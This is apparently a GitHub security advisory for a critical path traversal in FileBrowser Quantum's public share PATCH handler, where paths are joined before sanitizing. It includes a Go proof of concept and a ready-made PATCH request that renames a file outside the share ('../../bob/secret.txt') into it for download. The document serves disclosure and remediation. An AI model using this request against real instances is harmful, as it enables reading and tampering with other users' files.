Skip to content

FileBrowser Quantum: Path traversal in public share PATCH allows file ops outside shared directory

Critical severity GitHub Reviewed Published May 16, 2026 in gtsteffaniak/filebrowser

Package

gomod github.com/gtsteffaniak/filebrowser/backend (Go)

Affected versions

< 0.0.0-20260518193514-28e9b81e438e

Patched versions

0.0.0-20260518193514-28e9b81e438e

Description

Summary

publicPatchHandler in backend/http/public.go joins user-controlled fromPath and toPath body fields with the trusted d.share.Path BEFORE the downstream sanitizer runs. Because filepath.Join collapses .. segments during the join, the sanitizer in resourcePatchHandler never sees the traversal and the move/copy/rename operates on a path outside the shared directory. The same root-cause pattern was patched for the bulk DELETE endpoint as CVE-2026-44542 (GHSA-fwj3-42wh-8673), but the PATCH handler with the identical pattern was not updated.

A public share link with AllowModify=true is sufficient to exploit this. Anyone holding such a link can move, copy, or rename arbitrary files within the share owner's source root.

Verified on commit 869b640 (HEAD of main as of 2026-05-07).

Details

In backend/http/public.go the public PATCH handler accepts a JSON body with items[].fromPath and items[].toPath from the client, then prepends the share path before delegating to resourcePatchHandler:

// backend/http/public.go (publicPatchHandler)
for i := range req.Items {
    req.Items[i].FromSource = sourceName
    req.Items[i].FromPath   = utils.JoinPathAsUnix(d.share.Path, req.Items[i].FromPath) // line 372
    req.Items[i].ToSource   = sourceName
    req.Items[i].ToPath     = utils.JoinPathAsUnix(d.share.Path, req.Items[i].ToPath)   // line 374
}
d.Data = req
status, err := resourcePatchHandler(w, r, d)

utils.JoinPathAsUnix is a thin wrapper around filepath.Join, which
calls filepath.Clean and resolves .. segments. By the time the
joined path reaches resourcePatchHandler, every .. from the body
has been collapsed:

// backend/http/resource.go (resourcePatchHandler)
cleanFromPath, err := utils.SanitizeUserPath(item.FromPath) // line 794
// ...
cleanToPath, err  := utils.SanitizeUserPath(item.ToPath)    // line 800

SanitizeUserPath (in backend/common/utils/file.go) checks for .. segments after filepath.Clean. Since the join already cleaned the path, no .. segment remains, the sanitizer returns success, and the move/copy/rename proceeds on the escaped target.

The share owner's user is substituted as the acting user for permission checks (d.user = shareCreatedByUser), so the access-control layer treats the request as if the share owner performed it. In a default configuration with no explicit access rules and DenyByDefault=false, Access.Permitted returns true for any path within the source, and the only remaining boundary is the source root itself (idx.Path in Index.GetRealPath).

The fix that landed for CVE-2026-44542 / GHSA-fwj3-42wh-8673 moved the sanitizer before the join in resourceBulkDeleteHandler (backend/http/resource.go:274) and in withHashFileHelper (backend/http/middleware.go:57). The PATCH variant in public.go follows the opposite order (join first, sanitize later) and was not updated.

For comparison, the same file's publicPutHandler uses the safe order:

// backend/http/public.go (publicPutHandler) -- safe order
cleanPath, err := utils.SanitizeUserPath(path)         // sanitize FIRST
if err != nil { return http.StatusBadRequest, err }
resolvedPath := utils.JoinPathAsUnix(d.share.Path, cleanPath) // then join

PoC

The bug reproduces deterministically with the project's own helpers, without needing the full server. The Go program below uses verbatim copies of SanitizeUserPath (from backend/common/utils/file.go) and JoinPathAsUnix (from backend/common/utils/main.go) and replays the exact sequence executed for one item in publicPatchHandler followed by resourcePatchHandler.

package main

import (
    "fmt"
    "path/filepath"
    "runtime"
    "strings"
)

// Verbatim from backend/common/utils/file.go
func SanitizeUserPath(userPath string) (string, error) {
    clean := filepath.Clean(userPath)
    for _, segment := range strings.Split(clean, string(filepath.Separator)) {
        if segment == ".." {
            return "", fmt.Errorf("invalid path: path traversal detected")
        }
    }
    if clean == "." {
        return "", fmt.Errorf("invalid path: path must standard index path")
    }
    return clean, nil
}

// Verbatim from backend/common/utils/main.go
func JoinPathAsUnix(parts ...string) string {
    p := filepath.Join(parts...)
    if runtime.GOOS == "windows" {
        p = strings.ReplaceAll(p, "\\", "/")
    }
    return p
}

func main() {
    sharePath := "/users/alice/shared/" // d.share.Path (server-controlled)
    attackerInput := "../../bob/secret.txt"

    // publicPatchHandler line 372: join BEFORE sanitize
    joined := JoinPathAsUnix(sharePath, attackerInput)

    // resourcePatchHandler line 794: sanitize the already-joined path
    sanitized, err := SanitizeUserPath(joined)

    fmt.Printf("attacker input: %q\n", attackerInput)
    fmt.Printf("after join:     %q\n", joined)
    fmt.Printf("sanitizer err:  %v\n", err)
    fmt.Printf("sanitized path: %q\n", sanitized)
}

Output:

attacker input: "../../bob/secret.txt"
after join:     "/users/bob/secret.txt"
sanitizer err:  <nil>
sanitized path: "/users/bob/secret.txt"

The path /users/bob/secret.txt is outside the share root /users/alice/shared/ and is the value passed to Index.GetRealPath which resolves to <source-root>/users/bob/secret.txt. The downstream move/copy/rename then targets that file. The same input is rejected by SanitizeUserPath if the order is reversed (sanitize-then-join), which is the order used by publicPutHandler and the post-fix bulk DELETE.

End-to-end exploit request shape:

PATCH /public/api/resources?hash=<share-hash> HTTP/1.1
Content-Type: application/json

{
  "action": "rename",
  "items": [
    {
      "fromSource": "default",
      "fromPath":   "../../bob/secret.txt",
      "toSource":   "default",
      "toPath":     "stolen.txt"
    }
  ]
}

After the request, stolen.txt exists inside the shared directory and is downloadable through the same public share, exfiltrating the file that was outside the share's intended scope.

Impact

An unauthenticated attacker who possesses a public share link with AllowModify=true can move, copy, or rename any file inside the share owner's source root, escaping the share's intended directory. Two practical exploitation patterns:

  1. Read arbitrary files in the source root: rename a file from outside the shared directory to a location inside it, then download it through the share. This breaks confidentiality of any file the share owner can read.

  2. Tamper with arbitrary files in the source root: move an attacker-controlled file (uploaded into the share) over the top of a victim file. This breaks integrity of files the share owner can write to (configuration files, dotfiles, web roots if the source includes them).

Scope is bounded by the source root rather than the shared directory, which is the same boundary class as CVE-2026-44542 (GHSA-fwj3-42wh-8673, CVSS 9.1). The remediation pattern is the same: sanitize first, then join. The fix is a one-spot change in publicPatchHandler to call SanitizeUserPath on req.Items[i].FromPath and req.Items[i].ToPath before the two JoinPathAsUnix(d.share.Path, ...) calls.

References

@gtsteffaniak gtsteffaniak published to gtsteffaniak/filebrowser May 16, 2026
Published to the GitHub Advisory Database May 22, 2026
Reviewed May 22, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-qqqm-5547-774x

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.